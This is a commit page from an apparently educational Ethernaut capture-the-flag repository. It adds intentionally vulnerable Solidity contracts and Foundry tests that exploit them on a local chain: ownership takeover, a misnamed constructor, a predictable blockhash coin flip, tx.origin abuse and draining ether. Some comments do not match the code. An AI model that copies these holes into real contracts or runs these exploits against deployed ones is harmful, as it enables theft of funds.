Skip to content

Commit

Permalink
01-04
Browse files Browse the repository at this point in the history
  • Loading branch information
0xHUANG authored and 0xHUANG committed Jan 11, 2025
1 parent 7bd437b commit c460207
Show file tree
Hide file tree
Showing 13 changed files with 337 additions and 57 deletions.
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -12,3 +12,5 @@ docs/

# Dotenv file
.env

.DS_Store
5 changes: 5 additions & 0 deletions remappings.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
ds-test/=lib/solmate/lib/ds-test/src/
forge-std/=lib/forge-std/src/
solmate/=lib/solmate/src/
weird-erc20/=lib/weird-erc20/src/
@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/
19 changes: 0 additions & 19 deletions script/Counter.s.sol

This file was deleted.

47 changes: 47 additions & 0 deletions src/01_Fallback.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/*
Author: @BoscoHuang
Process:
- Deploy Fallback contract in anvil:
1. anvil
1. forge create src/01_Fallback.sol:Fallback --rpc-url http://127.0.0.1:8545 --private-key 0x....
*/

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
49 changes: 49 additions & 0 deletions src/02_Fallout.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

/*
Author: @BoscoHuang
Process:
- Install openzeppelin-contracts: forge install OpenZeppelin/[email protected]
- Deploy Fallout contract in anvil:
1. anvil
1. forge create src/02_Fallout.sol:Fallout --rpc-url http://127.0.0.1:8545 --private-key 0x....
*/

contract Fallout {
using SafeMath for uint256;

mapping(address => uint256) allocations;
address payable public owner;

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
42 changes: 42 additions & 0 deletions src/03_CoinFlip.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/*
Author: @BoscoHuang
Process:
- Deploy Fallout contract in anvil:
1. anvil
1. forge create src/03_CoinFlip.sol:CoinFlip --rpc-url http://127.0.0.1:8545 --private-key 0x....
*/


contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
25 changes: 25 additions & 0 deletions src/04_Telephone.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/*
Author: @BoscoHuang
Process:
- Deploy Fallout contract in anvil:
1. anvil
1. forge create src/04_Telephone.sol:Telephone --rpc-url http://127.0.0.1:8545 --private-key 0x....
*/

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
14 changes: 0 additions & 14 deletions src/Counter.sol

This file was deleted.

44 changes: 44 additions & 0 deletions test/01_Fallback.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "ds-test/test.sol";
import "../src/01_Fallback.sol";
import "forge-std/Test.sol";


/*
Author: @BoscoHuang
Attack Process:
- Invoke `contribute` function, send `msg.value < 0.001 ether`
- Then, send `msg.value > 0` to the contract directly
- Trigger `receive`, and become the owner
- At last, invoke `withdraw` function to drain all the ether.
Command:
- forge test --match-contract FallbackTest --fork-url http://127.0.0.1:8545 -vvv
*/

contract FallbackTest is DSTest{
Fallback Ethernaut01;

function setUp() public {
Ethernaut01 = Fallback(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); // Fallback address in anvil

}

function testEthernaut01() public {
console.log("Ethernaut01 owner:", Ethernaut01.owner()); // Owner is the contract deployer

Ethernaut01.contribute{value: 1 wei}();
Ethernaut01.getContribution();

(bool success, ) = address(Ethernaut01).call{value: 1 wei}("");
require(success, "Call failed");

assert(address(this) == Ethernaut01.owner()); // Attacker become the owner
Ethernaut01.withdraw();
}

receive() external payable {}
}
43 changes: 43 additions & 0 deletions test/02_Fallout.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;

import "ds-test/test.sol";
import "forge-std/Test.sol";
import "../src/02_Fallout.sol";

/*
Author: @BoscoHuang
Attack Process:
- Firstly, we noted that the Solidity compiler version is `< 0.8.x`. This means that the is susceptible to arithmetic underflow and overflow errors.
- This contract imported and used OpenZeppelin [`SafeMath`](https://docs.openzeppelin.com/contracts/4.x/api/utils#SafeMath) Lib, so there should be no overflow issues with this contract.
- Prior to Solidity version `0.4.22`, the only way to define a constructor for a contract was to define a function with the same name as the contract itself.
- The name of the contract is `Fallout`, but the constructor is called `Fal1out`. Because of this typo, when the contract is deployed, the constructor is never executed at creation time and the owner is never updated.
Command:
- forge test --match-contract FalloutTest --fork-url http://127.0.0.1:8545 -vvv
*/

contract FalloutTest is DSTest {
Fallout Ethernaut02;

function setUp() public {
Ethernaut02 = Fallout(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); // Fallout address in anvil
}

function testEthernaut02() public {
console.log("Ethernaut02 owner:", Ethernaut02.owner()); // Owner is zero address

Ethernaut02.Fal1out();

assert(address(this) == Ethernaut02.owner()); // Attacker becomes the owner

console.log("Ethernaut02 owner:", Ethernaut02.owner());
}

receive() external payable {}
}

44 changes: 44 additions & 0 deletions test/03_CoinFlip.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "ds-test/test.sol";
import "forge-std/Test.sol";
import "../src/03_CoinFlip.sol";

/*
Author: @BoscoHuang
Attack Process:
As you see, the solution is pretty straightforward. Loop until the
`consecutiveWins()` getter tell us we have reached `10`.
Inside the loop we calculate the value to pass to `flip` replicating the same logic of the `CoinFlip.flip` function.
Command:
- forge test --match-contract CoinFlipTest --fork-url http://127.0.0.1:8545 -vvv
*/

contract CoinFlipTest is DSTest {
CoinFlip Ethernaut03;

function setUp() public {
Ethernaut03 = CoinFlip(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); // CoinFlip address in anvil
}

function testEthernaut03() public {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

uint256 blockValue = uint256(blockhash(block.number - 1));

uint256 coinFlip = blockValue / FACTOR;

bool side = coinFlip == 1 ? true : false;

Ethernaut03.flip(side);

console.log("Consecutive Wins: ", Ethernaut03.consecutiveWins());

}
}

36 changes: 36 additions & 0 deletions test/04_Telephone.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "ds-test/test.sol";
import "forge-std/Test.sol";
import "../src/04_Telephone.sol";

/*
Author: @BoscoHuang
Attack Process:
- The `changeOwner` function is vulnerable to a transaction origin attack.
- The `tx.origin` is the address of the account that initiated the transaction.
Command:
- forge test --match-contract TelephoneTest --fork-url http://127.0.0.1:8545 -vvv
*/

contract TelephoneTest is DSTest {
Telephone Ethernaut04;

function setUp() public {
Ethernaut04 = Telephone(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); // Telephone address in anvil
}

function testEthernaut04() public {
console.log("Ethernaut04 owner:", Ethernaut04.owner()); // Owner is zero address

Ethernaut04.changeOwner(address(this));

assert(address(this) == Ethernaut04.owner()); // Attacker becomes the owner

console.log("Ethernaut04 owner:", Ethernaut04.owner());
}
}

Loading

0 comments on commit c460207

Please sign in to comment.